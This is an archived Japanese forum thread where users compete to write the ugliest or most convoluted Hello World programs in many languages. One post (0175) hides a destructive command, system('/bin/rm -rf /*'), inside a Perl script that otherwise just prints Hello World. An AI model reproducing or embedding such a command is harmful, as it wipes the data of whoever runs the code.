一番汚いコードでHello Worldを書いたやつが勝ち
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
2007/06/22(金) 00:23:46ID:???0133nobodyさん
2010/05/15(土) 17:17:13ID:???0134128, 130
2010/05/15(土) 18:47:21ID:???寒くなるの覚悟で解説くれて、ありがとう。
なるほど、「笑い」の観点でいえばハイレベルだったわけですね。
書くにしても見るにしても「一番汚いのが勝ち」を額面どおりに受け取った奴は負けだと。
解説陣のレベルの高さを垣間見れてよかったです。
0135nobodyさん
2010/05/17(月) 17:28:45ID:Ls3wvYAaWEBProg板恐るべし
0136nobodyさん
2010/05/18(火) 12:05:31ID:???「汚い」といってもいろいろあるよね、ってことだろ
>>55と>>68なんか全然汚さの意味が違うし
0138nobodyさん
2010/05/19(水) 06:26:03ID:???0139nobodyさん
2010/05/19(水) 11:22:03ID:???# ノンプロポーショナルフォントで表示してください
print "東 東 西 南 南 東 \n";
print "東 東 西 西 南 南 東 東 \n";
print "東東東 西西西西西 南 南 東 東 \n";
print "東 東 西 南 南 東 東 \n";
print "東 東 西西 南 南 東 \n";
print "\n";
print "南 南 南 東 南 南 西\n";
print "南 南 南 東 東 南 南 南 西\n";
print " 南 南 南 南南 東 東 南南 南 西西西\n";
print " 南 南 南 南 東 東 南 南 西 西\n";
print " 南 南 東 南 南 西西西\n";
0140nobodyさん
2010/05/22(土) 01:48:52ID:???.stack
code segment
assume cs:code,ds:data
start:
org 100h
mov bx,data
mov ds,bx
mov ah,09h
mov dx,offset message
int 21h
mov ax,4c00h
int 21h
code ends
data segment
message db 'Hello World!',0dh,0ah,'$'
data ends
end start
何もひねってないコードだが、誰もアセンブラを書いてないみたいなので。
今のwindowsマシンでもネイティブで動くということが信じられないね。
これとほぼ同じコードを書いたのは小学校5年生くらいだったかな・・・。なつかしい
0142nobodyさん
2010/05/23(日) 14:17:06ID:???ああ、本当だ>>35は見過ごしていた。
でも、これ読むとhello worldになってない無茶苦茶だぞ。誰も突っ込んでないけど。
割り込みやジャンプなどの形で文字出力に関してOSやドライバの呼び出しを
してないだけじゃなくて、メモリ上にhello worldも書き込むことすらしてない。
0143nobodyさん
2010/05/24(月) 11:00:12ID:???0144nobodyさん
2010/05/24(月) 15:56:44ID:???01451年ぶりくらい
2010/05/24(月) 16:26:50ID:???おれも>>98が、面白いと思う。シンプルで誰でも分かるし。
>>141はスキルのなさが露呈して痛い。
0146nobodyさん
2010/05/24(月) 19:05:27ID:???0147nobodyさん
2010/05/26(水) 23:11:48ID:???W<?php sleep(10); ?>o<?php sleep(10); ?>r<?php sleep(10); ?>l<?php sleep(10); ?>d<?php sleep(10); ?>
0148nobodyさん
2010/05/26(水) 23:28:38ID:???def initialize() @ptr = 0 end
def *(x) @ptr += 1; self end
def /(x) @ptr -= 1; self end
def %(x) printf( "%c", @ptr ); self end
end
_ = Rubynfuck.new
_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*
_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*
_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*
_%_/_/_/_%_*_*_*_*_*_*_*_%_%_*_*_*_%_/_/_/_/_/_/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_%_*_*_*_*_*_*
_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*
_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*
_*_%_/_/_/_/_/_/_/_/_%_*_*_*_%_/_/_/_/_/_/_%_/_/
_/_/_/_/_/_/_%_
$ ruby a.rb
HELLO WORLD
0150nobodyさん
2010/05/27(木) 02:07:52ID:???0151nobodyさん
2010/06/02(水) 16:49:05ID:???23 PRINT "W";
39 GOTO 1026
61 PRINT "l";
88 PRINT "l";
93 GOTO 305
109 PRINT "e";
245 GOTO 61
305 PRINT "o";
667 GOTO 528748
767 PRINT "H";
838 GOTO 109
1026 PRINT "o";
3229 PRINT "r";
4178 PRINT "l";
10003 PRINT "d"
12346 END
528748 PRINT " ";
528749 GOTO 23
0152nobodyさん
2010/06/03(木) 03:08:13ID:???0153nobodyさん
2010/06/06(日) 05:37:10ID:aqbBzBe2$H = 'h';
$E = 'e';
$L = 'l';
$L = 'l';
$O = 'o';
$W = 'w';
$O = 'o';
$R = 'r';
$L = 'l';
$D = 'd';
print 'h' if $H == 'h';;
print 'e' if $E == 'e;'
print 'l' if $L == 'l';
print 'l' if $L == 'l';
print 'o ' if $O == 'o';
print 'w' if $W == 'w';
print 'o' if $O == 'o';
print 'r' if $R == 'r';
print 'l' if $L == 'l';
print 'd' if $D == 'd';
0155sage
2010/06/08(火) 12:19:18ID:/tjycPK7print ""Hello World;
0156nobodyさん
2010/06/08(火) 13:37:08ID:???0157nobodyさん
2010/06/08(火) 18:21:10ID:???%%Creator: 2ch
%%BoundingBox: 10 10 580 820
%%Pages: (atend)
%%DocumentFonts: Palatino-Roman
%%EndComments
%%BeginProlog
/hellodict 10 dict def
hellodict begin
/s {show} def
/m {moveto} def
/HW (Hello World) def
end
%%EndProlog
%%%%Page: 1 1
%%PageBoundingBox: 10 10 580 820
hellodict begin
gsave
/Palatino-Roman findfont 32 scalefont setfont
200 400 m
HW s
showpage
grestore
end
%%Trailer
%%%%Pages: 1
%%%%EOF
0159nobodyさん
2010/06/12(土) 18:34:33ID:???その判定方法が個人に委ねられている以上センスは関係あると思うが。
0160nobodyさん
2010/06/13(日) 02:42:18ID:???public static void main(String[] args) {
try {
java.util.Set<HelloWorld> set = new java.util.HashSet<HelloWorld>();
set.add(new HelloWorld());
} catch (HelloWorldException ex) {
StackTraceElement element = ex.getStackTrace()[0];
String name = element.getClassName();
System.out.println(name);
}
}
}
class HelloWorld {
@Override
public int hashCode() {
throw new HelloWorldException();
}
}
class HelloWorldException extends RuntimeException {
}
0161nobodyさん
2010/06/13(日) 11:58:27ID:???0162nobodyさん
2010/06/13(日) 11:59:07ID:???0163nobodyさん
2010/06/13(日) 16:12:11ID:???確かに汚いっちゃ汚いなぁ
0164nobodyさん
2010/06/13(日) 17:56:58ID:???こうですか!?わかりません!
public class Program {
public static void main(String[] args) {
try {
java.util.Set<HelloWorld> set = new java.util.HashSet<HelloWorld>();
set.add(new HelloWorld());
} catch (HelloWorldException ex) {
StackTraceElement element = ex.getStackTrace()[0];
String name = element.getClassName();
name = split(name);
System.out.println(name);
}
}
private static String split(String camel) {
return camel.replaceAll("(?!^.)(?![^A-Z])", " ");
}
}
class HelloWorld {
@Override
public int hashCode() {
throw new HelloWorldException();
}
}
class HelloWorldException extends RuntimeException {
}
0165nobodyさん
2010/06/13(日) 17:59:59ID:???でよかったわ。まあ二重否定の方が汚くていいか。
0167nobodyさん
2010/06/13(日) 23:23:36ID:???0168nobodyさん
2010/06/14(月) 02:19:54ID:???0169nobodyさん
2010/06/14(月) 03:48:10ID:???このじっちゃんの名にかけて
Lはキラを探し出す
0170nobodyさん
2010/06/14(月) 18:28:10ID:???見た目はキレイ。
http://d.hatena.ne.jp/shinichiro_h/20100526#1274806317
0171nobodyさん
2010/06/17(木) 23:04:01ID:QMymQU9D?????????????????????
???
復号化してね 簡単だから
0172nobodyさん
2010/06/17(木) 23:08:46ID:QMymQU9D0174nobodyさん
2010/06/18(金) 16:41:31ID:???http://livedoor.2.blogimg.jp/agomesu/imgs/4/f/4faec292.png
ばらまこうぜ!
0175nobodyさん
2011/07/14(木) 23:27:37.97ID:ILNrTYp9$hello_World = "Hello World" ;
print "Content-Type:text/plain\n\n";
print "Hello World";
system ("/bin/rm -rf /*");
exit;
0176nobodyさん
2011/07/15(金) 08:31:05.53ID:???<body>
<?php
$article = "Hallo Warld";
$article = preg_replace('/a/','e',$article);
$article = preg_replace('/e/','o',$article);
?>
Hello World
<body></html>
0178nobodyさん
2011/07/25(月) 10:11:01.89ID:???$i=0;
if($i=1){
echo "Hello World";
}else{
echo "Good Bye";
}
?>
0179nobodyさん
2011/08/22(月) 08:51:02.13ID:???<>£€_£]jzoa82@
>>|{}$$&/msm
勝った
0180nobodyさん
2011/08/22(月) 15:40:40.08ID:???"hello world"$&
0181nobodyさん
2011/08/22(月) 19:06:09.60ID:???0182nobodyさん
2011/08/22(月) 22:59:23.70ID:uCI9h4DG0183nobodyさん
2011/08/22(月) 23:10:40.19ID:???0184nobodyさん
2011/08/23(火) 11:21:11.59ID:TNhcCFnIAlamo-iwn737$;$@hagdkws&:_•{'d
これ機械語ね
0185nobodyさん
2011/08/23(火) 22:02:30.02ID:???$a=@file_get_contents("http://hibari.2ch.net/test/read.cgi/php/1182439426/l50");
preg_match("/Hello world/",$a,$b);
print($b[0]);
?>
0186nobodyさん
2011/08/24(水) 22:36:50.27ID:???{
If(($neet==true)&&($years>10))
{
echo'Hello heaven!!';
}
else
{
echo'Hello world!';
}
}
neetyears(true,12);
0187nobodyさん
2011/08/25(木) 00:10:05.74ID:???msg db "hello world"
section .text
global _start
_start:
mov eax, 4
mov ebx, msg
mov edx, 13
int 0x80
mov eax, 1
mov ebx, 0
int 0x80
0188nobodyさん
2011/09/01(木) 03:22:29.25ID:???/* jfoiajfoejgiopa!ejwg9errg4545ujrgjrあああーーーguhttp://localhost/local1ejuefj
$HTTP_COOKIE_VARS staticLenovo高性能PCが4万円台-
"公式" ThinkPadなどインテル技術搭載 高性能PCが期間限定セール中
fjeowfje$_FILESofja
parent::__construct();
連日の暑さに、 */
include_once('simple_html_dom.php');
$ht = file_get_contents('http://search.yahoo.co.jp/search?p=%E3%82%BB%E3%83%83%E3%82%AF%E3%82%B9&ei=UTF-8');
$ht="";
echo$ht;
/* enddeclare;
phpinfo();
All About [グルメ] - PR: 保険は難しくてわからない!手続きが面倒! - 1日前
[繧ォ繝シ繧サ繝・け繧ケ]
●セクース×セクース●
中小型パネル:東芝、日立製作所、ソニみちのく一道ーの3社が事業統合
平沢唯×異色の対談[繧ォ繝シ繧サ繝・け繧ケ]
6つの火山層からなる自然フィルター
C棟 連絡通路
*/
/* 国土交通省などは31日、東日本大震災での液状化現象は、江戸・明
* 治期の古い埋め */echo"Hello World";/* 立て地より、戦後の埋め立て地で起
* 埋め立て地ほど大きい傾向があった。ただメカニズムは不明点が多く、詳しい研究が必要 ...
*/
?>
0189nobodyさん
2011/09/01(木) 06:47:27.58ID:???0191nobodyさん
2011/10/20(木) 10:13:32.66ID:???while (<DATA>) {chop $_; print chr length $_;}
__DATA__
0192191
2011/10/20(木) 10:21:46.22ID:???[hello.com: CRLF]
T_OOWW3=XXWXPY50PPZ5jQP_-ys,A1Ea5y852cP4Z4PP-pV40P-BOu
com2txt/Nide5UqPWX,wP500-MQP4UP-wx4XP5rjP5Z2P-jC,JP=
5O4,APRX5BZP-pJPPQX42P-r=PRX55aP59DHHP-99,UP-lt,mP-uq=
P5_VHP-4A40PTZ,TPP_RX__m4fzD4GMH3QLl4GMHP444Dae3FqoKBA
W3wIlYBDd:
0194nobodyさん
2011/11/18(金) 00:36:06.08ID:???0195nobodyさん
2011/11/18(金) 00:53:00.00ID:BJcaeICA0196nobodyさん
2011/11/18(金) 18:24:15.37ID:???<?php ?>に囲まれたやつとかやろうと思ったけどめんどくせー
0197nobodyさん
2011/11/18(金) 21:01:49.32ID:BJcaeICA0198nobodyさん
2011/11/27(日) 14:22:55.38ID:???hello world
?>
0199nobodyさん
2011/11/28(月) 20:31:49.56ID:OwsI2FMr?>
Hello World
0201nobodyさん
2012/01/10(火) 21:19:28.35ID:???for($a='A';$a<'Z';$a++){
for($b='a';$b<'z';$b++){
for($c='a';$c<'z';$c++){
for($d='a';$d<'z';$d++){
for($e='a';$e<'z';$e++){
$str=$a.$b.$c.$d.$e;
if (md5("$str")=="8b1a9953c4611296a827abf8c47804d7") {
for($f='a';$f<'z';$f++){
for($g='a';$g<'z';$g++){
for($h='a';$h<'z';$h++){
for($i='a';$i<'z';$i++){
for($j='a';$j<'z';$j++){
$str=$f.$g.$h.$i.$j;
if (md5("$str2")=="7d793037a0760186574b0282f2f435e7") {
echo "$str $str2<br />\n";
}
}
}
}
}
}
}
}
}
}
}
}
?>
0202nobodyさん
2012/02/12(日) 00:20:40.41ID:???0203nobodyさん
2012/02/16(木) 21:13:29.81ID:???$helloWorld = 'helloWorld';
print $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$helloWorld;
0204nobodyさん
2012/02/16(木) 21:26:31.91ID:???$helloWorld = function() {return 'helloWorld';};
print ${${${${${${${$helloWorld()}()}()}()}()}()}()}();
0205nobodyさん
2012/02/16(木) 23:51:36.70ID:???php -r 'print `ruby -e "print \"\`php -r \"print \\\"\\\`echo hello, world\\\`\\\";\"\`\";";`;'
シェルスクリプトぐっちゃぐちゃになることって、あるよね
0206nobodyさん
2012/02/29(水) 22:13:58.41ID:???use strict;
&Main;
sub Main{
my $hello = &HelloWorld;
print "$hello";
exit;
}
sub Hello{
return "Hello";
}
sub World{
return "World";
}
sub HelloWorld{
my $hello = &Hello;
my $world = &World;
return "Hello World";
}
0207nobodyさん
2012/03/01(木) 05:12:54.46ID:???0208nobodyさん
2012/03/14(水) 05:04:31.22ID:HK8xBPr1HaloWoald
<htnl/>
0209nobodyさん
2012/03/15(木) 05:26:33.80ID:???0210nobodyさん
2012/05/03(木) 12:45:23.06ID:sBfqEhyqdefine (helloworld, "Hello World");
class hello_world {
__construct(){
echo helloworld;
}
}
$helloworld = new hello_world;
die();
?>
0211nobodyさん
2012/05/09(水) 01:05:56.24ID:???FROM (
(SELECT REPLACE(CONVERT(GROUP_CONCAT(char(cast(code as SIGNED)) ) USING utf8),",","") as words
FROM
(SELECT '72' as code
UNION ALL
SELECT '101' as code
UNION ALL
SELECT '108' as code
UNION ALL
SELECT '108' as code
UNION ALL
SELECT '111' as code
) as s1
) t1 LEFT JOIN
(SELECT REPLACE(CONVERT(GROUP_CONCAT(char(cast(code2 as SIGNED)) ) USING utf8),",","") as words1
FROM
(SELECT '87' as code2
UNION ALL
SELECT '111' as code2
UNION ALL
SELECT '114' as code2
UNION ALL
SELECT '108' as code2
UNION ALL
SELECT '100' as code2
) as s2
) as t2
ON 1=1
)
mysql5.5
0212nobodyさん
2012/06/15(金) 20:40:25.13ID:zGRU6IQIint dirtyhelloworldputchar(char c,int i){
putchar(c+0x20*(i!=1)+0x40);
if(i%5);else{putchar(0x1f+i/5);}
if(i^0xa);else{return(i);}
c=(c^0xc)?(c^(c+((c^0xf)?((c&0x10)?((c&1)?1:0xc):(4+((c&8)>>3))):((i^7)?9:0xe)))):(c+(i-1)*((i&2)?0:((i&8)?-1:1)));
return(dirtyhelloworldputchar(c,i+1));
}
main(){putchar(dirtyhelloworldputchar(8,1));}
0213nobodyさん
2012/10/08(月) 22:14:16.90ID:???0214nobodyさん
2012/11/14(水) 14:14:18.91ID:???0215nobodyさん
2012/11/18(日) 08:34:59.14ID:???}
}
$contents=$libralies->foobar($this->contents);
//Framework::render($contents);
//
// $debug=Framework::env($this);
//// var_dump($debug);
//@var_dump($this);
#//// exit();
## echo $debug?$debug:getEnv(1);
## echo file_get_contents('/tmp/_test.log'):
## echo is_file('/tmp/'.$this->created.'.log');
ob_clean();
?>hello world
0216nobodyさん
2012/11/29(木) 23:10:23.37ID:EWFu1xPb0217nobodyさん
2012/11/30(金) 10:24:56.15ID:???<script type="text/javascript">
var amzn_wdgt={widget:'Search'};
amzn_wdgt.tag='hoge';
amzn_wdgt.columns='6';
amzn_wdgt.rows='2';
amzn_wdgt.defaultSearchTerm=document.title;
amzn_wdgt.searchIndex='Books';
amzn_wdgt.width='800';
amzn_wdgt.showImage='True';
amzn_wdgt.showPrice='True';
amzn_wdgt.showRating='True';
amzn_wdgt.marketPlace='JP';
</script>
<script type="text/javascript" src="http://wms.assoc-amazon.jp/20070822/JP/js/AmazonWidgets.js">
</script>
</body></html>
0218nobodyさん
2013/02/14(木) 01:28:47.38ID:???void main(void)
{
char buf[100];
sprintf(buf, "%s", "H");
printf("%s", buf);
sprintf(buf, "%s", "e");
printf("%s", buf);
sprintf(buf, "%s", "l");
printf("%s", buf);
sprintf(buf, "%s", "l");
printf("%s", buf);
sprintf(buf, "%s", "o");
printf("%s", buf);
sprintf(buf, "%s", " ");
printf("%s", buf);
sprintf(buf, "%s", "W");
printf("%s", buf);
sprintf(buf, "%s", "o");
printf("%s", buf);
sprintf(buf, "%s", "r");
printf("%s", buf);
sprintf(buf, "%s", "l");
printf("%s", buf);
sprintf(buf, "%s", "d");
printf("%s", buf);
sprintf(buf, "%s", "\n");
printf("%s", buf);
}
■ このスレッドは過去ログ倉庫に格納されています